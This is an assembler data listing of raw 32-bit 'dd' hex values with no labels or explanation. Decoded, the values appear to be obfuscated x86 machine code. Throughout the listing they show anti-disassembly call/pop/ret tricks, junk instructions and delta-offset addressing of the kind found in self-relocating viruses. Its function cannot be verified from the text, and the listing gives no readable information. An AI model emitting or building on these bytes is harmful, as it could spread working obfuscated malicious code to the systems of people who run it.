		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 8D638F66h
		dd 662E37E9h, 858DF98Bh, 5EB8F58h, 13E8h, 5D3C0A00h, 0D1DBB90Ah
		dd 4C0E010Ch, 25392F7Fh, 7F08288Fh, 5BF98B66h, 6800F52h
		dd 1000000h, 0E807D985h, 0BF505F05h, 5A4EFC5h, 0E8240489h
		dd 0Dh,	0D32DC097h, 8F775196h, 7B252DEAh, 645BF818h, 35FFh
		dd 81570000h, 4CEDA5E7h, 89645F32h, 25h, 85FFF800h, 5E82545h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 89C35242h
		dd 0E90308DCh, 8, 96A28AAFh, 5ECA8262h,	6AFF6Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 846DE8C3h, 735A8C82h, 0BD333AF0h, 5E8067Dh, 2EDDB5FFh
		dd 850105E8h, 5E81BB9h,	2FAD95FFh, 0F9E905E8h, 66000000h
		dd 84FDB81h, 70E600B0h,	613C71E4h, 0E6830Fh, 0BD890000h
		dd 5E80981h, 33C8B60Fh,	0E806B1BDh, 28C38105h, 0BA738492h
		dd 6, 30F19D89h, 9D8B05E8h, 5E83239h, 0D381C18Bh, 0CB54982h
		dd 79BD8951h, 5B05E806h, 0F04E8C1h, 58Fh, 0EF816600h, 0F766D923h
		dd 2BFA8BE2h, 18D0FC8h,	0F9000000h, 810FD18Bh, 5, 0B3C78166h
		dd 0ABBF51E0h, 5B73F437h, 7BE9h, 44858B00h, 8A5F4C4Ch
		dd 7C083FEh, 8000C083h,	0D03BB8E3h, 0F830Fh, 8B660000h
		dd 5AE9F9h, 66510000h, 6229DB81h, 0FF8D8B5Bh, 0E9FFFFFFh
		dd 0Dh,	440D978Bh, 0CECB020Bh, 0F507FBFCh, 1E1835Dh, 32840Fh
		dd 0BD890000h, 5E80711h, 0FFFFA583h, 60FEFFFFh,	0BD19D89h
		dd 8D0105E8h, 5E81925h,	44958961h, 0F5F4C4Ch, 688h, 0C9BD8B00h
		dd 0E905E827h, 0
		dd 5B6AB58Dh, 6A05ECh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 9C62E0C3h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 6ADB9CC3h
		dd 581D2D12h, 0BD9D89DBh, 0B05E82Eh, 0E823D19Dh, 0F995FF05h
		dd 6A05E820h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 588FC353h, 8BA6D3BDh, 70987BA5h
		dd 0DE9h, 0BF621500h, 0FEBCBC9Ah, 6C71713Ch, 53B95F3Ch
		dd 6A000010h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0A82FC355h, 8B53EB7Ah,	0E81B5DBDh
		dd 0FCE18305h, 0FCDA8B66h, 6880Fh, 9D890000h, 5E82589h
		dd 6AC02Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 4BF441C3h, 0F9BD8B3Bh, 8905E802h,	0E80A4D9Dh
		dd 0BA05h, 10E90000h, 93000000h, 62BA485Ch, 0D42B8AFEh
		dd 0F11EC2B1h, 0ADD5874Dh, 0E8D1C233h, 0E983D003h, 0E8F47504h
		dd 11h,	0A71181F7h, 0DBB13F7Dh,	35604CA9h, 2A51D396h, 7DBD8B49h
		dd 5F05E829h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Bh,	0A5C35545h, 0AEBF3F5h, 0E9820467h, 10h,	0EB7E837Eh
		dd 0BAE7F977h, 17F67467h, 0C0B43181h, 880DF9h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 50BA26C3h, 8E0F2E9Dh, 6, 9C06E781h, 11E92081h, 3000000h
		dd 6705B597h, 0F3A68B49h, 8DB98452h, 4E6EE657h,	159D958Bh
		dd 8D0F05E8h, 6, 198D9D8Bh, 8D8B05E8h, 5E80705h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 5FC35141h, 604AB7Ch
		dd 39AA88E4h, 7E8h, 0FDA66D00h,	0A080C5BAh, 505B06B7h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	57006A58h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0DEB9E70Eh, 23D8D82Bh, 0E830699Dh, 0CE805h, 0A27B0000h
		dd 126B11DDh, 4A6E2A64h, 0E1B7C704h, 71BD835Fh,	5E82Eh
		dd 0BE840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0A32890C3h, 0E8E5914Dh, 11h, 7A9CECFFh
		dd 0C7C3EE77h, 2631C300h, 0F9E9775Bh, 10E8D1h, 0B09A0000h
		dd 5F867350h, 93F87734h, 5655451Bh, 0BD29F2D4h,	5E821B9h
		dd 85095F5Bh, 5E829C1h,	2062F781h, 0B87478h, 66000000h
		dd 89BC18BBh, 0E8228D95h, 6A8D8D05h, 6A05E84Dh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0D8DC352h, 52821A32h, 0A7DDB05Dh, 6AE1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0DE4F3AC3h
		dd 0F9734561h, 0A61BD83h, 0F0005E8h, 49084h, 53C78100h
		dd 832D0CD6h, 0E80A61BDh, 840F0105h, 498h, 0FFFBF0Fh, 0C85h
		dd 81666000h, 0B825D4E7h, 2B4D6C39h, 61BD8361h,	305E80Ah
		dd 440860Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 7BF305C3h, 0CFDEF5DEh, 89CE21E0h
		dd 0E80F4DBDh, 6A6005h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8BBAF2C3h, 0E81679BDh, 0D98C6605h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 5DC35646h
		dd 80FFBF0Fh, 6A04E1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 4222E7C3h, 0FC90A23h, 14F84h, 10E900h
		dd 60700000h, 4A72CCE9h, 476C6210h, 725ECC75h, 858BEC54h
		dd 5E802B1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0F0C35141h, 7EEB9789h, 7D9D8960h, 0B05E820h, 0E82899B5h
		dd 85336105h, 5E81BCDh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0D1C35646h, 3EDDB169h, 85898E25h, 5E82891h
		dd 70DB529h, 50F805E8h,	489AFB7h, 6A006A24h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 7C40C357h, 7DF1AEBAh, 12DF8199h, 294F34D3h, 0E81B15B5h
		dd 0D2D16805h, 8B66D0E3h, 240481FAh, 2F3B312Eh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CEC35343h, 0C5BD8B16h
		dd 0BB05E82Fh, 6BC3327h, 151995FFh, 6A05E8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0B0A37C3h
		dd 87BEEE18h, 8B5F50CCh, 0E810BD9Dh, 6D9D2B05h,	8905E828h
		dd 0EBB3F185h, 199D8B05h, 6605E81Ah, 0E9B58FBFh, 1F1h
		dd 128B0Fh, 0DE90000h, 5A000000h, 0FF0CE77h, 0B72DDC1Ch
		dd 785AEBE3h, 0B3E9858Bh, 6A05EBh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0DA82D2C3h, 0ED9D0138h
		dd 0E905E812h, 0Fh, 0BD1DF00Ch,	0F31FC306h, 6F06D1F5h
		dd 3398287Fh, 0E80909BDh, 1800C705h, 66000000h,	8B42FEBBh
		dd 0EBB3EDB5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 7E3D0FF7h, 333D02FDh
		dd 8BDE8B64h, 0E8334185h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0F29A7DF8h
		dd 0DB564207h, 9E915F4h, 0B0000000h, 0EE15CC3Ah, 4EF26B31h
		dd 8C0F0689h, 0Bh, 58D0Fh, 81660000h, 8BC31ACFh, 0E802B185h
		dd 85BD8B05h, 8905E80Ch, 6A0446h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0A86B17C3h, 0F5239EC6h
		dd 9D8B6781h, 5E82C75h,	50FA8A96h, 53006A96h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0DABF0F67h
		dd 3299B589h, 0B5FF05E8h, 5EBB3E9h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 3DC35545h, 0E8F88B66h, 4, 1F03FFh
		dd 8B0AB750h, 0E9042444h, 5, 7CBD2366h,	0E8008B01h, 0Eh
		dd 0D64FA22Dh, 0FA3D731Dh, 0BF29CF1Dh, 895F6FDBh, 66042444h
		dd 2958DA8Bh, 0E807E585h, 0F1858D05h, 0F05EBB3h, 168Ah
		dd 8E86000h, 37000000h,	540D2788h, 593E1C11h, 8C0Fh, 90610000h
		dd 0FE9h, 94247C00h, 6BD31081h,	0E110DFE4h, 5AA43191h
		dd 88E6BB50h, 8B900F38h, 1995FFFEh, 8905E815h, 0E83151B5h
		dd 7FBF6105h, 0C7599F2Bh, 0E80A6185h, 305h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0FBDFF5B9h, 0BB0F08D8h, 2A64A820h, 8306E380h, 0EBB3F1BDh
		dd 840F0005h, 36h, 12E9h, 4E4AD800h, 311D1C5Eh,	0C8ECCB78h
		dd 50C17CFDh, 0E99FB2FAh, 35h, 12C5BD09h, 0FE905E8h, 43000000h
		dd 6E1DD302h, 0C4D450BBh, 0B0BF1862h, 3050DC0Fh, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h
		dd 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 8BFD7A62h, 53006ADFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0C08B630Dh, 0BD83F811h, 5E80A61h
		dd 41850F03h, 6A000004h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0ED6CC350h,	0F185B11h
		dd 687h, 29858900h, 8305E81Bh, 0EBB3F1BDh, 840F0005h, 408h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 12C35040h
		dd 7181579Eh, 0FFFEB71Ch, 0EBB3F1B5h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0B531755Dh, 5E80651h, 1C0995FFh, 0F2BF05E8h,	8B4821F2h
		dd 0EBB3E5B5h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0EEDEB2D3h, 0C86F19A4h
		dd 0BB6689E6h, 6C7337Dh, 10001h, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 14h, 93C35141h, 0F3C7BB66h, 50FAB396h
		dd 10E8h, 0F6F700h, 0BDAAE458h,	9C9A9FFDh, 79C4C1A8h, 5FFE8A35h
		dd 52006A96h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0DB9FC46Fh, 0B5FFDF8Bh, 5EBB3F1h, 0FEDBF66h
		dd 2FFDBD8Bh, 95FF05E8h, 5E808BDh, 0B3E5B58Bh, 0BB6605EBh
		dd 858B8B95h, 5E814B9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 48C35747h, 9F65BB66h,	0C48689h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 9D8959C3h, 5E82CCDh,	159D958Bh, 860F05E8h, 3, 83DEB70Fh
		dd 850F04C2h, 6, 0E0BB6652h, 50895F28h,	0D98B6620h, 0C65D858Dh
		dd 6A05EBh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 668E51C3h, 89B22ABBh, 0B886h, 6A006A00h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0BDFFC355h, 7954D520h, 0B5FFCF25h, 5EBB3F1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 7C35141h
		dd 5CA77A6Ch, 810F9B1Ch, 6, 0C318D29h, 95FF05E8h, 5E82C2Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 6BC35646h
		dd 0CA423373h, 746C491Eh, 381CAABFh, 66509604h,	961A16BFh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0BC35040h
		dd 1EE52C90h, 0B5FFC3F2h, 5EBB3F1h, 850F51h, 5F000000h
		dd 68C0Fh, 9D8B0000h, 5E80769h,	2C195FFh, 6A05E8h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0E52F9BC3h, 5427693Fh, 0E83DF443h, 0Dh, 9DE3516Ah, 2EE8FB4Fh
		dd 0DAAFB380h, 830F51A3h, 0
		dd 0DF8B5F5Fh, 25DBD83h, 0F0005E8h, 5584h, 319D3100h, 8905E82Ch
		dd 0E8082DBDh, 0BB505005h, 3A7F1FFBh, 2434895Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 1EC35141h, 0BBB5559Ah
		dd 12E991h, 0E5150000h,	4EB018ADh, 0F586F9A4h, 1399396h
		dd 269065B1h, 2BA1BD33h, 0B5FF05E8h, 5EBB3F1h, 75995FFh
		dd 6A05E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 3BFC8EC3h, 0EC230749h, 0F1B5FF40h, 6A05EBB3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0B403C356h, 71AE3ADAh, 2FA58531h,	840F05E8h
		dd 2, 95FFF98Bh, 5E80725h, 29A9BD83h, 0F0205E8h, 3F84h
		dd 7E900h, 564E0000h, 52CCC97Fh, 3D858B37h, 6A05E813h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 3CDFC352h, 0D318D640h, 459D8B53h,	0C605E82Eh
		dd 5F570000h, 12C185C7h, 5E8h, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0BA7F71C3h
		dd 68C0Fh, 0B5290000h, 5E81221h, 0FFF237E9h, 55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 990EEF2h, 55251F25h,	800FAFB6h, 0Bh,	5810Fh,	81660000h
		dd 60B70ADFh, 0CE9h, 0CD110700h, 3E4F9AD8h, 24B89327h
		dd 9DB866C0h, 0C18B617Ch, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 20C35040h, 8DA9D380h,	0E81C1D85h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 8B90A3C6h, 0CCBB50DEh, 907A9F86h, 732BE381h,	6A6735h
		dd 6A006AF5h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 8E59C353h, 0F52872CAh,	92858D78h
		dd 8B05ECEAh, 8E8FBh, 29A10000h, 1B1DEE89h, 0BB66247Fh
		dd 835B59E1h, 880F05C0h, 2, 6060DC8Ah, 2571B52Bh, 958905E8h
		dd 5E82CA5h, 0DE861h, 22920000h, 0A275257Fh, 0CD2B49C7h
		dd 0F500A5Ah, 8Dh, 50615900h, 489FB8Bh,	8B50F824h, 0E83191BDh
		dd 6A5B05h, 0C2E38166h,	0E9006AF2h, 0Bh, 96A46D08h, 0BFDEE5ECh
		dd 0FF3D8926h, 0E8203D95h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0E6B337C6h
		dd 0A4DB8D8Dh, 6A05EBh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0FFAEA4C3h, 56006AD1h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 413013B5h
		dd 0BA7177F3h, 10B9BD83h, 0F0105E8h, 0BA85h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0E67CAC98h, 8022CF81h, 26A7887h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 3BC35747h, 53DF1DCAh, 0A33507BBh
		dd 52C2BFC8h, 66905119h, 501711BFh, 89AA48BBh, 6A9040h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 3D4AD1C3h, 0E9070A8Bh, 13h, 0B20D3F7h, 984BA37Eh, 0BA034160h
		dd 627AB98Bh, 0FFB7DC3Eh, 0E82C2D95h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 0E9FB8B62h, 0E82h, 0E8h, 0ED815D00h,	5ECEA9Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F6C35747h, 0FE1FB36h
		dd 683h, 699D8900h, 8105E82Eh, 987650F3h, 58858D61h, 6A05EB8Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 4810C353h, 0FB4EEEEh, 383h, 0DBBF0F00h, 98BF6690h
		dd 66535004h, 905FFA8Bh, 13E860h, 8E070000h, 0D52F4BE8h
		dd 0E2CA339h, 936BA091h, 647E7BCh, 0F88B6675h, 68C0F58h
		dd 23000000h, 0E8140595h, 0FF646105h, 35h, 0D59D2900h
		dd 6405E823h, 2589h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 340AFC3h, 50F61DABh
		dd 850Fh, 0FF5B0000h, 0E8254585h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0FD958951h
		dd 6A05E80Bh, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0D9B5FF47h, 6A05E821h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8BF5C356h, 0E80805BDh, 14E905h, 94840000h, 31233A21h
		dd 9498CF06h, 6CD88F55h, 182F78D5h, 95FFBFC2h, 5E82FADh
		dd 125E9h, 0F7816600h, 0B015F6h, 1EF19D8Bh, 852905E8h
		dd 5E83135h, 0B70F70E6h, 6671E4FAh, 0B9B1F381h,	830F613Ch
		dd 0FEh, 2231BD8Bh, 8E905E8h, 2F000000h, 0D5B88AADh, 0FEB0D9Ch
		dd 9D03C8B6h, 5E81B7Dh,	6BAh, 0EDBD3300h, 8B05E812h, 819D31C1h
		dd 0C105E82Bh, 880F04E8h, 6, 9098589h, 0F76605E8h, 97BB66E2h
		dd 66C82B61h, 0D18BD88Bh, 0ACE9F5h, 9D8B0000h, 5E81015h
		dd 4C50858Bh, 6E84755h,	6A000000h, 1BA806C0h, 5B5F5218h
		dd 8B07C083h, 0C083D8h,	68F0Fh,	0BD890000h, 5E82ED5h, 830FD03Bh
		dd 19h,	0FFB70F60h, 0E961C28Bh,	6Ah, 81666060h,	8B4EC7D7h
		dd 0F08B61FAh, 0FF8D8B61h, 0FFFFFFFh, 387h, 0FABF0F00h
		dd 0F01E183h, 4584h, 10E900h, 0D9580000h, 1D24734Eh, 0DCCB2C9h
		dd 0B7910F1Bh, 0A5838DB7h, 0FFFFFFFFh, 39BD29FEh, 0B705E82Eh
		dd 50958923h, 0E947554Ch, 11h, 0FB0D2C78h, 41CB3B16h, 6E5D3874h
		dd 0BE23F9FBh, 0E9E2h, 0B58D0000h, 5EC6BBDh, 6AD9BF0Fh
		dd 11858900h, 2905E81Fh, 0E827859Dh, 0F995FF05h, 6A05E820h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 85B5C357h, 5C6390A8h, 360BEF8h, 0E8099995h
		dd 10E805h, 52F0000h, 0EE953529h, 0C56554B1h, 0EF22E261h
		dd 8B6666C8h, 0B96159C7h, 1021h, 2F5DBD89h, 666005E8h
		dd 99CF281h, 8361C88Bh,	66FCFCE1h, 2BEDADBBh, 50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0D9BF0FF3h, 6AD22Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0D3C473C3h, 81663B5Fh, 0F622CF7h
		dd 98Fh, 38E0F00h, 80000000h, 33AD0DDBh, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0FDE9AC3h, 87BBDEBFh, 31020F7Fh, 0E8242DB5h
		dd 880D05h, 9D8B0000h, 5E802CDh, 2617E5BFh, 9D958B0Eh
		dd 6A05E815h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 6C3DC356h, 0C413308h, 0BB668411h
		dd 0BD8B0EEAh, 5E81651h, 7058D8Bh, 0BD8B05E8h, 5E80629h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 8EBD55C3h, 0DE8h, 1B78B00h, 77EA9987h, 25E4D9DEh, 11E9EECCh
		dd 7A000000h, 98FF4887h, 7F94EAE4h, 61AC4BA7h, 0CB99964Bh
		dd 810F605Bh, 6, 2259B589h, 536105E8h, 2860Fh, 83B70000h
		dd 71BD835Fh, 5E82Eh, 68840Fh, 0B80000h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 76B8C353h, 409F43EDh, 4D6A8D8Dh, 9D8B05E8h, 5E80631h
		dd 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0EF3760C3h, 7CEEE6D7h, 0DB816660h, 8166208Dh
		dd 61F0D2C9h, 1F718589h, 0BD8305E8h, 5E80A61h, 0F2840F00h
		dd 0E8000003h, 0Eh, 63E001A6h, 448180ECh, 1EAE518Fh, 0DF816CC5h
		dd 465A9965h, 61BD835Fh, 105E80Ah, 3E6840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0F8D5ECC3h, 0BD831F61h, 5E80A61h, 83860F03h,	6A000003h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 84D4C355h, 8BC5AB4Bh, 0E81BE5BDh,	6A6005h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0B58975C3h, 5E82591h, 6AD98C66h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 34B4C356h
		dd 0E180024Ah, 859D8B04h, 0A05E821h, 38840FC9h,	6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0DDC5C353h, 6728C46Ah, 0B70F4372h, 0B1858BFBh
		dd 0F05E802h, 8533FEB7h, 5E81BCDh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0FCC35747h,	55FDE3F1h, 1A749BFEh
		dd 0B2628CBBh, 0D98A504Bh, 8B240489h, 66006ADEh, 291A42BFh
		dd 0E8298D9Dh, 4E805h, 3FF0000h, 800F001Fh, 10h, 7E8h
		dd 0CC081F00h, 9C2E2C43h, 5FF88B66h, 12E950h, 332E0000h
		dd 3B745AAFh, 59062301h, 7B240102h, 0F66CA3F9h,	424448Bh
		dd 8BD98B66h, 24448900h, 14E804h, 2E80000h, 0B7F0863Ah
		dd 0A74CD64Ch, 0ADF61A0Eh, 58F96E6Bh, 72BFBC77h, 5F21AFF0h
		dd 56006A58h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 95FF7899h, 5E81519h, 0CA8B6660h,	8961CA8Bh
		dd 0EBB3F185h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 92AEDDA1h, 0BD0399D8h
		dd 5E83185h, 140E9h, 85BD8B00h,	8B05E832h, 0EBB3E985h
		dd 0F98B6605h, 1800C7h,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0DC6A45C3h, 0A9C0B323h
		dd 8166AFCBh, 8BDF83EFh, 0EBB3EDB5h, 3ED0BB05h,	0AABB5488h
		dd 8B172646h, 0E8334185h, 0D1953105h, 8905E80Bh, 59D8B06h
		dd 8B05E800h, 0E802B185h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0B509010Fh
		dd 5E82E69h, 60044689h,	8D89F98Bh, 5E81AF1h, 11E89661h
		dd 33000000h, 21E24685h, 4EC4C038h, 6B965D70h, 93E10279h
		dd 5B5F5756h, 6A96505Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 61AEC351h, 0E9B5FFF5h
		dd 2305EBB3h, 0E814B5BDh, 59858905h, 6805E806h,	0B68B9F46h
		dd 8D0Fh, 4810000h, 9364B924h, 0EE949h,	0B0D20000h, 68E5D18h
		dd 0CBE61ADEh, 0DEDFF242h, 0B3F1858Dh, 6A05EBh,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 48EC4BC3h, 902379AAh, 95FF9050h, 5E81519h, 64C38166h
		dd 6A6181h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 94E6FDC3h, 38D0F50h, 0F000000h, 0C75BDAB7h
		dd 0E80A6185h, 305h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0AD14EA64h, 6D9D8911h
		dd 8305E82Ch, 0EBB3F1BDh, 840F0005h, 2Eh, 0CF5BD8Bh, 3EE905E8h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0C186C353h, 88C8B1BAh,	305006B7h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 50006AC0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 89A87431h, 79E427Fh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 2DC35646h, 8BAC15BAh, 0F98B665Bh
		dd 659D8950h, 5B05E82Dh, 0A61BD83h, 0F0305E8h, 4EB85h
		dd 759D2300h, 8905E828h, 0E82399BDh, 0F1BD8305h, 5EBB3h
		dd 4D2840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 861D3BC3h, 0FDC04751h, 0B3F1B5FFh
		dd 6A05EBh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 1A21F4C3h, 8589F95Fh, 5E8134Dh, 1C0995FFh
		dd 6A05E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 4AC40C3h,	6A7FA131h, 0B3E5B58Bh, 0C7F505EBh
		dd 1000106h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0A2E91E6Ah, 229DBD03h, 958905E8h
		dd 5E8160Dh, 0BF525096h, 56CAE6ACh, 0CE8310Fh, 52000000h
		dd 658F98B0h, 48C6EAAEh, 0E9DCE0F4h, 0Eh, 0DDC6393Eh, 560B58EDh
		dd 50F18BF2h, 5A5B84CAh, 0FE85058h, 11000000h, 0D4B05E9Ah
		dd 0B318B6E4h, 53714E27h, 0BF660125h, 965F87F3h, 30A9F781h
		dd 0B5FF11C0h, 5EBB3F1h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 17h, 3EC35141h, 66FB1A45h,	2F0EF81h, 8BD95FFh
		dd 952905E8h, 5E82549h,	0B3E5B58Bh, 0CE905EBh, 1B000000h
		dd 9F4A6B69h, 0A017DF01h, 0E80AF6B1h, 0Ch, 0C94F3B0Ah
